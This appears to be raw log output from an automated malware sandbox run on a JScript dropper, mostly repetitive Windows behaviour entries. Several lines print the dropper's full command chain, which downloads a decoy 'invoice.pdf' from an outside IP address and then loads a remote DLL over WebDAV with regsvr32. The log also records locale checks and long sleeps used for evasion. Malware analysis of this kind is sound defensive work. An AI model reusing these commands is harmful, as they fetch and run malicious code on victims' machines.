Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3009.js.csv");ITextStream.WriteLine(" entry:7385 f:dngpefbpr");ITextStream.WriteLine(" exec:2 f:dngpefbpr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5419			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4197			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 5419 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 4197 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7780	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8032	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000008.00000002.1394037457.000002D0950B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1394037457.000002D095048000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2623582561.0000023A6085A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2622060830.0000023A5B22B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
